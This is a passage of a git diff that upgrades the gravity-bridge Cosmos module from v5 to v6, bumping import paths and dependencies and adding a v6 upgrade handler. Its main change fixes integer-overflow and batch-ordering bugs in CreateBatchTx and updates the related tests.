a/module/app/upgrades/v2/upgrades_test.go +++ b/module/app/upgrades/v2/upgrades_test.go @@ -8,8 +8,8 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" "github.com/stretchr/testify/require" ) diff --git a/module/app/upgrades/v6/README.md b/module/app/upgrades/v6/README.md new file mode 100644 index 000000000..c64ca66b1 --- /dev/null +++ b/module/app/upgrades/v6/README.md @@ -0,0 +1,3 @@ +# v6 upgrade + +This upgrade contains security fixes for bugs reported through our bug bounty program. diff --git a/module/app/upgrades/v6/constants.go b/module/app/upgrades/v6/constants.go new file mode 100644 index 000000000..9fb6633e6 --- /dev/null +++ b/module/app/upgrades/v6/constants.go @@ -0,0 +1,4 @@ +package v6 + +// UpgradeName defines the on-chain upgrade name for the Gravity v6 upgrade +const UpgradeName = "v6" diff --git a/module/app/upgrades/v6/upgrades.go b/module/app/upgrades/v6/upgrades.go new file mode 100644 index 000000000..a04e0e4a9 --- /dev/null +++ b/module/app/upgrades/v6/upgrades.go @@ -0,0 +1,18 @@ +package v6 + +import ( + sdk "github.com/cosmos/cosmos-sdk/types" + "github.com/cosmos/cosmos-sdk/types/module" + upgradetypes "github.com/cosmos/cosmos-sdk/x/upgrade/types" +) + +func CreateUpgradeHandler( + mm *module.Manager, + configurator module.Configurator, +) upgradetypes.UpgradeHandler { + return func(ctx sdk.Context, plan upgradetypes.Plan, fromVM module.VersionMap) (module.VersionMap, error) { + ctx.Logger().Info("v6 upgrade: entering handler") + + return mm.RunMigrations(ctx, configurator, fromVM) + } +} diff --git a/module/cmd/gravity/cmd/gentx.go b/module/cmd/gravity/cmd/gentx.go index cff216458..177a86535 100644 --- a/module/cmd/gravity/cmd/gentx.go +++ b/module/cmd/gravity/cmd/gentx.go @@ -37,7 +37,7 @@ import ( "github.com/cosmos/cosmos-sdk/x/genutil/types" "github.com/cosmos/cosmos-sdk/x/staking/client/cli" stakingtypes "github.com/cosmos/cosmos-sdk/x/staking/types" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // GenTxCmd builds the application's gentx command. diff --git a/module/cmd/gravity/cmd/root.go b/module/cmd/gravity/cmd/root.go index dd5158837..f4f41649e 100644 --- a/module/cmd/gravity/cmd/root.go +++ b/module/cmd/gravity/cmd/root.go @@ -31,8 +31,8 @@ import ( "github.com/spf13/cast" "github.com/spf13/cobra" - "github.com/peggyjv/gravity-bridge/module/v5/app" - "github.com/peggyjv/gravity-bridge/module/v5/app/params" + "github.com/peggyjv/gravity-bridge/module/v6/app" + "github.com/peggyjv/gravity-bridge/module/v6/app/params" ) // NewRootCmd creates a new root command for simd. It is called once in the diff --git a/module/cmd/gravity/cmd/root_test.go b/module/cmd/gravity/cmd/root_test.go index 8e1d7e4f5..d8d00f947 100644 --- a/module/cmd/gravity/cmd/root_test.go +++ b/module/cmd/gravity/cmd/root_test.go @@ -12,7 +12,7 @@ import ( "github.com/cosmos/cosmos-sdk/client/keys" "github.com/cosmos/cosmos-sdk/crypto/hd" "github.com/cosmos/cosmos-sdk/crypto/keyring" - "github.com/peggyjv/gravity-bridge/module/v5/app" + "github.com/peggyjv/gravity-bridge/module/v6/app" "github.com/spf13/cobra" "github.com/stretchr/testify/require" ) diff --git a/module/cmd/gravity/main.go b/module/cmd/gravity/main.go index e421bd07c..c47f89936 100644 --- a/module/cmd/gravity/main.go +++ b/module/cmd/gravity/main.go @@ -4,7 +4,7 @@ import ( "os" "github.com/cosmos/cosmos-sdk/server" - "github.com/peggyjv/gravity-bridge/module/v5/cmd/gravity/cmd" + "github.com/peggyjv/gravity-bridge/module/v6/cmd/gravity/cmd" ) func main() { diff --git a/module/go.mod b/module/go.mod index cafe5539d..ce20d931c 100644 --- a/module/go.mod +++ b/module/go.mod @@ -1,4 +1,4 @@ -module github.com/peggyjv/gravity-bridge/module/v5 +module github.com/peggyjv/gravity-bridge/module/v6 go 1.22 @@ -7,12 +7,12 @@ toolchain go1.22.2 require ( cosmossdk.io/api v0.3.1 cosmossdk.io/errors v1.0.1 - cosmossdk.io/math v1.3.0 + cosmossdk.io/math v1.4.0 github.com/cometbft/cometbft v0.37.5 github.com/cometbft/cometbft-db v0.11.0 github.com/cosmos/cosmos-proto v1.0.0-beta.5 - github.com/cosmos/cosmos-sdk v0.47.13 - github.com/cosmos/gogoproto v1.4.10 + github.com/cosmos/cosmos-sdk v0.47.15 + github.com/cosmos/gogoproto v1.7.0 github.com/cosmos/ibc-go/v7 v7.8.0 github.com/ethereum/go-ethereum v1.10.22 github.com/golang/protobuf v1.5.4 @@ -36,7 +36,7 @@ require ( cloud.google.com/go/storage v1.36.0 // indirect cosmossdk.io/core v0.5.1 // indirect cosmossdk.io/depinject v1.0.0-alpha.4 // indirect - cosmossdk.io/log v1.3.1 // indirect + cosmossdk.io/log v1.4.1 // indirect cosmossdk.io/tools/rosetta v0.2.1 // indirect filippo.io/edwards25519 v1.0.0 // indirect github.com/99designs/keyring v1.2.1 // indirect @@ -149,7 +149,7 @@ require ( github.com/rjeczalik/notify v0.9.1 // indirect github.com/rogpeppe/go-internal v1.11.0 // indirect github.com/rs/cors v1.8.3 // indirect - github.com/rs/zerolog v1.32.0 // indirect + github.com/rs/zerolog v1.33.0 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/sasha-s/go-deadlock v0.3.1 // indirect @@ -177,7 +177,7 @@ require ( golang.org/x/net v0.23.0 // indirect golang.org/x/oauth2 v0.16.0 // indirect golang.org/x/sync v0.6.0 // indirect - golang.org/x/sys v0.18.0 // indirect + golang.org/x/sys v0.22.0 // indirect golang.org/x/term v0.18.0 // indirect golang.org/x/text v0.14.0 // indirect golang.org/x/time v0.5.0 // indirect diff --git a/module/go.sum b/module/go.sum index eb43b511b..cb51cad11 100644 --- a/module/go.sum +++ b/module/go.sum @@ -192,10 +192,10 @@ cosmossdk.io/depinject v1.0.0-alpha.4 h1:PLNp8ZYAMPTUKyG9IK2hsbciDWqna2z1Wsl98ok cosmossdk.io/depinject v1.0.0-alpha.4/go.mod h1:HeDk7IkR5ckZ3lMGs/o91AVUc7E596vMaOmslGFM3yU= cosmossdk.io/errors v1.0.1 h1:bzu+Kcr0kS/1DuPBtUFdWjzLqyUuCiyHjyJB6srBV/0= cosmossdk.io/errors v1.0.1/go.mod h1:MeelVSZThMi4bEakzhhhE/CKqVv3nOJDA25bIqRDu/U= -cosmossdk.io/log v1.3.1 h1:UZx8nWIkfbbNEWusZqzAx3ZGvu54TZacWib3EzUYmGI= -cosmossdk.io/log v1.3.1/go.mod h1:2/dIomt8mKdk6vl3OWJcPk2be3pGOS8OQaLUM/3/tCM= -cosmossdk.io/math v1.3.0 h1:RC+jryuKeytIiictDslBP9i1fhkVm6ZDmZEoNP316zE= -cosmossdk.io/math v1.3.0/go.mod h1:vnRTxewy+M7BtXBNFybkuhSH4WfedVAAnERHgVFhp3k= +cosmossdk.io/log v1.4.1 h1:wKdjfDRbDyZRuWa8M+9nuvpVYxrEOwbD/CA8hvhU8QM= +cosmossdk.io/log v1.4.1/go.mod h1:k08v0Pyq+gCP6phvdI6RCGhLf/r425UT6Rk/m+o74rU= +cosmossdk.io/math v1.4.0 h1:XbgExXFnXmF/CccPPEto40gOO7FpWu9yWNAZPN3nkNQ= +cosmossdk.io/math v1.4.0/go.mod h1:O5PkD4apz2jZs4zqFdTr16e1dcaQCc5z6lkEnrrppuk= cosmossdk.io/tools/rosetta v0.2.1 h1:ddOMatOH+pbxWbrGJKRAawdBkPYLfKXutK9IETnjYxw= cosmossdk.io/tools/rosetta v0.2.1/go.mod h1:Pqdc1FdvkNV3LcNIkYWt2RQY6IP1ge6YWZk8MhhO9Hw= filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek= @@ -339,16 +339,16 @@ github.com/cosmos/btcutil v1.0.5 h1:t+ZFcX77LpKtDBhjucvnOH8C2l2ioGsBNEQ3jef8xFk= github.com/cosmos/btcutil v1.0.5/go.mod h1:IyB7iuqZMJlthe2tkIFL33xPyzbFYP0XVdS8P5lUPis= github.com/cosmos/cosmos-proto v1.0.0-beta.5 h1:eNcayDLpip+zVLRLYafhzLvQlSmyab+RC5W7ZfmxJLA= github.com/cosmos/cosmos-proto v1.0.0-beta.5/go.mod h1:hQGLpiIUloJBMdQMMWb/4wRApmI9hjHH05nefC0Ojec= -github.com/cosmos/cosmos-sdk v0.47.13 h1:9d57rl2ilSgc8a6u1JAulqNX/E5w8lbqbRe3NON3Jb4= -github.com/cosmos/cosmos-sdk v0.47.13/go.mod h1:pYMzhTfKFn9AJB5X64Epwe9NgYk0y3v7XN8Ks5xqWoo= +github.com/cosmos/cosmos-sdk v0.47.15 h1:xuIkX4IgpnRydiwxY2fI5nWy0SkRVvWvumWtGigwJdk= +github.com/cosmos/cosmos-sdk v0.47.15/go.mod h1:6L16fRG0ZinyyYMclrVAGqTUyb5UGu/hlx5oZEI6NAY= github.com/cosmos/go-bip39 v0.0.0-20180819234021-555e2067c45d/go.mod h1:tSxLoYXyBmiFeKpvmq4dzayMdCjCnu8uqmCysIGBT2Y= github.com/cosmos/go-bip39 v1.0.0 h1:pcomnQdrdH22njcAatO0yWojsUnCO3y2tNoV1cb6hHY= github.com/cosmos/go-bip39 v1.0.0/go.mod h1:RNJv0H/pOIVgxw6KS7QeX2a0Uo0aKUlfhZ4xuwvCdJw= github.com/cosmos/gogogateway v1.2.0 h1:Ae/OivNhp8DqBi/sh2A8a1D0y638GpL3tkmLQAiKxTE= github.com/cosmos/gogogateway v1.2.0/go.mod h1:iQpLkGWxYcnCdz5iAdLcRBSw3h7NXeOkZ4GUkT+tbFI= github.com/cosmos/gogoproto v1.4.2/go.mod h1:cLxOsn1ljAHSV527CHOtaIP91kK6cCrZETRBrkzItWU= -github.com/cosmos/gogoproto v1.4.10 h1:QH/yT8X+c0F4ZDacDv3z+xE3WU1P1Z3wQoLMBRJoKuI= -github.com/cosmos/gogoproto v1.4.10/go.mod h1:3aAZzeRWpAwr+SS/LLkICX2/kDFyaYVzckBDzygIxek= +github.com/cosmos/gogoproto v1.7.0 h1:79USr0oyXAbxg3rspGh/m4SWNyoz/GLaAh0QlCe2fro= +github.com/cosmos/gogoproto v1.7.0/go.mod h1:yWChEv5IUEYURQasfyBW5ffkMHR/90hiHgbNgrtp4j0= github.com/cosmos/iavl v0.20.1 h1:rM1kqeG3/HBT85vsZdoSNsehciqUQPWrR4BYmqE2+zg= github.com/cosmos/iavl v0.20.1/go.mod h1:WO7FyvaZJoH65+HFOsDir7xU9FWk2w9cHXNW1XHcl7A= github.com/cosmos/ibc-go/v7 v7.8.0 h1:hvnQRejkMoGiM4v2r6Va5UefNeMU3V+ooIWdG96SYoU= @@ -927,8 +927,8 @@ github.com/rs/cors v1.7.0/go.mod h1:gFx+x8UowdsKA9AchylcLynDq+nNFfI8FkUZdN/jGCU= github.com/rs/cors v1.8.3 h1:O+qNyWn7Z+F9M0ILBHgMVPuB1xTOucVd5gtaYyXBpRo= github.com/rs/cors v1.8.3/go.mod h1:XyqrcTp5zjWr1wsJ8PIRZssZ8b/WMcMf71DJnit4EMU= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= -github.com/rs/zerolog v1.32.0 h1:keLypqrlIjaFsbmJOBdB/qvyF8KEtCWHwobLp5l/mQ0= -github.com/rs/zerolog v1.32.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss= +github.com/rs/zerolog v1.33.0 h1:1cU2KZkvPxNyfgEmhHAz/1A9Bz+llsdYzklWFzgp0r8= +github.com/rs/zerolog v1.33.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss= github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= @@ -1315,8 +1315,8 @@ golang.org/x/sys v0.0.0-20221010170243-090e33056c14/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= +golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= diff --git a/module/proto/buf.lock b/module/proto/buf.lock index 1c91f9234..f6722c7a6 100644 --- a/module/proto/buf.lock +++ b/module/proto/buf.lock @@ -19,5 +19,5 @@ deps: - remote: buf.build owner: googleapis repository: googleapis - commit: e7f8d366f5264595bcc4cd4139af9973 - digest: shake256:e5e5f1c12f82e028ea696faa43b4f9dc6258a6d1226282962a8c8b282e10946281d815884f574bd279ebd9cd7588629beb3db17b892af6c33b56f92f8f67f509 + commit: e93e34f48be043dab55be31b4b47f458 + digest: shake256:93dbe51c27606999eef918360df509485a4d272e79aaed6d0016940379a9b06d316fc5228b7b50cca94bb310f34c5fc5955ce7474f655f0d0a224c4121dda3c1 diff --git a/module/proto/gravity/v1/genesis.proto b/module/proto/gravity/v1/genesis.proto index 5b263e164..8aa544f96 100644 --- a/module/proto/gravity/v1/genesis.proto +++ b/module/proto/gravity/v1/genesis.proto @@ -6,7 +6,7 @@ import "gravity/v1/gravity.proto"; import "gravity/v1/msgs.proto"; import "google/protobuf/any.proto"; -option go_package = "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types"; +option go_package = "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types"; option (gogoproto.messagename_all) = true; // Params represent the Gravity genesis and store parameters diff --git a/module/proto/gravity/v1/gravity.proto b/module/proto/gravity/v1/gravity.proto index 65e8a1a61..e46c5a133 100644 --- a/module/proto/gravity/v1/gravity.proto +++ b/module/proto/gravity/v1/gravity.proto @@ -6,7 +6,7 @@ import "cosmos_proto/cosmos.proto"; import "gogoproto/gogo.proto"; import "google/protobuf/any.proto"; -option go_package = "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types"; +option go_package = "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types"; option (gogoproto.messagename_all) = true; // EthereumEventVoteRecord is an event that is pending of confirmation by 2/3 of diff --git a/module/proto/gravity/v1/msgs.proto b/module/proto/gravity/v1/msgs.proto index 0d1354c51..46504c847 100644 --- a/module/proto/gravity/v1/msgs.proto +++ b/module/proto/gravity/v1/msgs.proto @@ -10,7 +10,7 @@ import "gogoproto/gogo.proto"; import "google/api/annotations.proto"; import "google/protobuf/any.proto"; -option go_package = "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types"; +option go_package = "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types"; option (gogoproto.messagename_all) = true; // Msg defines the state transitions possible within gravity diff --git a/module/proto/gravity/v1/query.proto b/module/proto/gravity/v1/query.proto index fb2392ae8..d1b9c406f 100644 --- a/module/proto/gravity/v1/query.proto +++ b/module/proto/gravity/v1/query.proto @@ -11,7 +11,7 @@ import "gravity/v1/genesis.proto"; import "gravity/v1/gravity.proto"; import "gravity/v1/msgs.proto"; -option go_package = "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types"; +option go_package = "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types"; option (gogoproto.messagename_all) = true; // Query defines the gRPC querier service diff --git a/module/x/gravity/abci.go b/module/x/gravity/abci.go index 13fc0004f..c2d5dc4ed 100644 --- a/module/x/gravity/abci.go +++ b/module/x/gravity/abci.go @@ -5,8 +5,8 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // BeginBlocker is called at the beginning of every block diff --git a/module/x/gravity/abci_test.go b/module/x/gravity/abci_test.go index d168ae1b8..d95e3f1c8 100644 --- a/module/x/gravity/abci_test.go +++ b/module/x/gravity/abci_test.go @@ -12,9 +12,9 @@ import ( "github.com/ethereum/go-ethereum/common" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func TestSignerSetTxCreationIfNotAvailable(t *testing.T) { @@ -404,18 +404,20 @@ func TestBatchTxTimeout(t *testing.T) { require.NoError(t, fundAccount(ctx, input.BankKeeper, mySender, allVouchers)) // add some TX to the pool - input.AddSendToEthTxsToPool(t, ctx, myTokenContractAddr, mySender, myReceiver, 2, 3, 2, 1, 5, 6) + input.AddSendToEthTxsToPoolWithFee(t, ctx, myTokenContractAddr, mySender, myReceiver, 6, 10) // when ctx = ctx.WithBlockTime(now).WithBlockHeight(250) // check that we can make a batch without first setting an ethereum block height - b1 := gravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 2) + b1 := gravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 1) + require.NotNil(t, b1) require.Equal(t, b1.Timeout, uint64(0)) gravityKeeper.SetLastObservedEthereumBlockHeight(ctx, 500) b2 := gravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 2) + require.NotNil(t, b2) // this is exactly block 500 plus twelve hours require.Equal(t, b2.Timeout, uint64(504)) @@ -428,8 +430,8 @@ func TestBatchTxTimeout(t *testing.T) { // when, way into the future ctx = ctx.WithBlockTime(now).WithBlockHeight(9) - b3 := gravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 2) - + b3 := gravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 3) + require.NotNil(t, b3) gravity.BeginBlocker(ctx, gravityKeeper) // this had a timeout of zero should be deleted. diff --git a/module/x/gravity/client/cli/query.go b/module/x/gravity/client/cli/query.go index e0f6ebb54..784f03cf9 100644 --- a/module/x/gravity/client/cli/query.go +++ b/module/x/gravity/client/cli/query.go @@ -8,7 +8,7 @@ import ( "github.com/cosmos/cosmos-sdk/client/flags" sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" "github.com/spf13/cobra" ) diff --git a/module/x/gravity/client/cli/tx.go b/module/x/gravity/client/cli/tx.go index 31512c152..d10fa5ee6 100644 --- a/module/x/gravity/client/cli/tx.go +++ b/module/x/gravity/client/cli/tx.go @@ -15,7 +15,7 @@ import ( "github.com/ethereum/go-ethereum/common/hexutil" "github.com/spf13/cobra" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func GetTxCmd(storeKey string) *cobra.Command { diff --git a/module/x/gravity/client/cli/utils.go b/module/x/gravity/client/cli/utils.go index 5386a3f7d..81710adba 100644 --- a/module/x/gravity/client/cli/utils.go +++ b/module/x/gravity/client/cli/utils.go @@ -4,7 +4,7 @@ import ( "io/ioutil" "github.com/cosmos/cosmos-sdk/codec" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // ParseCommunityPoolEthereumSpendProposal reads and parses a CommunityPoolEthereumSpendProposalForCLI from a file. diff --git a/module/x/gravity/client/proposal_handler.go b/module/x/gravity/client/proposal_handler.go index b6667c8fa..075835261 100644 --- a/module/x/gravity/client/proposal_handler.go +++ b/module/x/gravity/client/proposal_handler.go @@ -2,7 +2,7 @@ package client import ( govclient "github.com/cosmos/cosmos-sdk/x/gov/client" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/client/cli" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/client/cli" ) // ProposalHandler is the community Ethereum spend proposal handler. diff --git a/module/x/gravity/cosmos_originated_test.go b/module/x/gravity/cosmos_originated_test.go index 5bf2df9b2..54c837016 100644 --- a/module/x/gravity/cosmos_originated_test.go +++ b/module/x/gravity/cosmos_originated_test.go @@ -10,10 +10,10 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/app" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/app" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // Have the validators put in a erc20<>denom relation with ERC20DeployedEvent diff --git a/module/x/gravity/handler.go b/module/x/gravity/handler.go index a07072adf..b0817122a 100644 --- a/module/x/gravity/handler.go +++ b/module/x/gravity/handler.go @@ -6,8 +6,8 @@ import ( sdkerrors "github.com/cosmos/cosmos-sdk/types/errors" govtypes "github.com/cosmos/cosmos-sdk/x/gov/types/v1beta1" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // NewHandler returns a handler for "Gravity" type messages. diff --git a/module/x/gravity/handler_test.go b/module/x/gravity/handler_test.go index 512be4e86..6508f7d07 100644 --- a/module/x/gravity/handler_test.go +++ b/module/x/gravity/handler_test.go @@ -11,10 +11,10 @@ import ( "github.com/stretchr/testify/require" ethCrypto "github.com/ethereum/go-ethereum/crypto" - "github.com/peggyjv/gravity-bridge/module/v5/app" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/app" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func TestHandleMsgSendToEthereum(t *testing.T) { diff --git a/module/x/gravity/keeper/batch.go b/module/x/gravity/keeper/batch.go index db9545a0b..b6ced3b4b 100644 --- a/module/x/gravity/keeper/batch.go +++ b/module/x/gravity/keeper/batch.go @@ -10,7 +10,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // TODO: should we make this a parameter or a a call arg? @@ -18,23 +18,15 @@ const BatchTxSize = 100 // CreateBatchTx starts the following process chain: // - find bridged denominator for given voucher type -// - determine if a an unexecuted batch is already waiting for this token type, if so confirm the new batch would -// have a higher total fees. If not exit withtout creating a batch -// - select available transactions from the unbatched SendToEthereums sorted by fee desc +// - select available transactions from the unbatched SendToEthereums sorted by fee desc, keeping track of the total fees. +// - if the total fees overflow, stop the iteration and use the SendToEthereums that we have. +// - if the existing batch is more profitable than the new batch would be, do not create a new batch // - persist an OutgoingTx (BatchTx) object with an incrementing ID = nonce // - emit an event func (k Keeper) CreateBatchTx(ctx sdk.Context, contractAddress common.Address, maxElements int) *types.BatchTx { - // if there is a more profitable batch for this token type do not create a new batch - if lastBatch := k.getLastOutgoingBatchByTokenType(ctx, contractAddress); lastBatch != nil { - if lastBatch.GetFees().GTE(k.getBatchFeesByTokenType(ctx, contractAddress, maxElements)) { - return nil - } - } - var selectedStes []*types.SendToEthereum k.iterateUnbatchedSendToEthereumsByContract(ctx, contractAddress, func(ste *types.SendToEthereum) bool { selectedStes = append(selectedStes, ste) - k.deleteUnbatchedSendToEthereum(ctx, ste.Id, ste.Erc20Fee) return len(selectedStes) == maxElements }) @@ -43,10 +35,48 @@ func (k Keeper) CreateBatchTx(ctx sdk.Context, contractAddress common.Address, m return nil } + // Sort selected transactions by fee in descending order so we get the most profitable batch possible + sort.SliceStable(selectedStes, func(i, j int) bool { + return selectedStes[i].Erc20Fee.Amount.GT(selectedStes[j].Erc20Fee.Amount) + }) + + var finalStes []*types.SendToEthereum + totalFees := sdk.ZeroInt() + for _, ste := range selectedStes { + // Prevent integer overflows by stopping the iteration if the total fees overflow + newTotal, err := totalFees.SafeAdd(ste.Erc20Fee.Amount) + if err != nil { + break + } + totalFees = newTotal + finalStes = append(finalStes, ste) + } + + if len(finalStes) == 0 { + return nil + } + + // if there is a more profitable batch for this token type do not create a new batch + if lastBatch := k.getLastOutgoingBatchByTokenType(ctx, contractAddress); lastBatch != nil { + lastBatchFees, err := lastBatch.GetFees() + if err != nil { + k.Logger(ctx).Error("Overflowed attempting to get fees for last batch.", "error", err) + return nil + } + if lastBatchFees.GTE(totalFees) { + return nil + } + } + + // Delete the newly batched SendToEthereums + for _, ste := range finalStes { + k.deleteUnbatchedSendToEthereum(ctx, ste.Id, ste.Erc20Fee) + } + batch := &types.BatchTx{ BatchNonce: k.incrementLastOutgoingBatchNonce(ctx), Timeout: k.getTimeoutHeight(ctx), - Transactions: selectedStes, + Transactions: finalStes, TokenContract: contractAddress.Hex(), Height: uint64(ctx.BlockHeight()), } @@ -92,37 +122,6 @@ func (k Keeper) batchTxExecuted(ctx sdk.Context, tokenContract common.Address, n k.CompleteOutgoingTx(ctx, batchTx) } -// getBatchFeesByTokenType gets the fees the next batch of a given token type would -// have if created. This info is both presented to relayers for the purpose of determining -// when to request batches and also used by the batch creation process to decide not to create -// a new batch -func (k Keeper) getBatchFeesByTokenType(ctx sdk.Context, tokenContractAddr common.Address, maxElements int) sdk.Int { - feeAmount := sdk.ZeroInt() - i := 0 - k.iterateUnbatchedSendToEthereumsByContract(ctx, tokenContractAddr, func(tx *types.SendToEthereum) bool { - feeAmount = feeAmount.Add(tx.Erc20Fee.Amount) - i++ - return i == maxElements - }) - - return feeAmount -} - -// GetBatchFeesByTokenType gets the fees the next batch of a given token type would -// have if created. This info is both presented to relayers for the purpose of determining -// when to request batches and also used by the batch creation process to decide not to create -// a new batch -func (k Keeper) GetBatchFeesByTokenType(ctx sdk.Context, tokenContractAddr common.Address, maxElements int) sdk.Int { - feeAmount := sdk.ZeroInt() - i := 0 - k.iterateUnbatchedSendToEthereumsByContract(ctx, tokenContractAddr, func(tx *types.SendToEthereum) bool { - feeAmount = feeAmount.Add(tx.Erc20Fee.Amount) - i++ - return i == maxElements - }) - return feeAmount -} - // CancelBatchTx releases all TX in the batch and deletes the batch func (k Keeper) CancelBatchTx(ctx sdk.Context, batch *types.BatchTx) { // free transactions from batch and reindex them diff --git a/module/x/gravity/keeper/batch_test.go b/module/x/gravity/keeper/batch_test.go index c09eae088..8f1cc6304 100644 --- a/module/x/gravity/keeper/batch_test.go +++ b/module/x/gravity/keeper/batch_test.go @@ -9,7 +9,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func TestBatches(t *testing.T) { @@ -130,8 +130,8 @@ func TestBatchesFullCoins(t *testing.T) { now = time.Now().UTC() mySender, _ = sdk.AccAddressFromBech32("cosmos1ahx7f8wyertuus9r20284ej0asrs085case3kn") myReceiver = common.HexToAddress("0xd041c41EA1bf0F006ADBb6d2c9ef9D425dE5eaD7") - myTokenContractAddr = common.HexToAddress("0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5") // Pickle - totalCoins, _ = sdk.NewIntFromString("1500000000000000000000") // 1,500 ETH 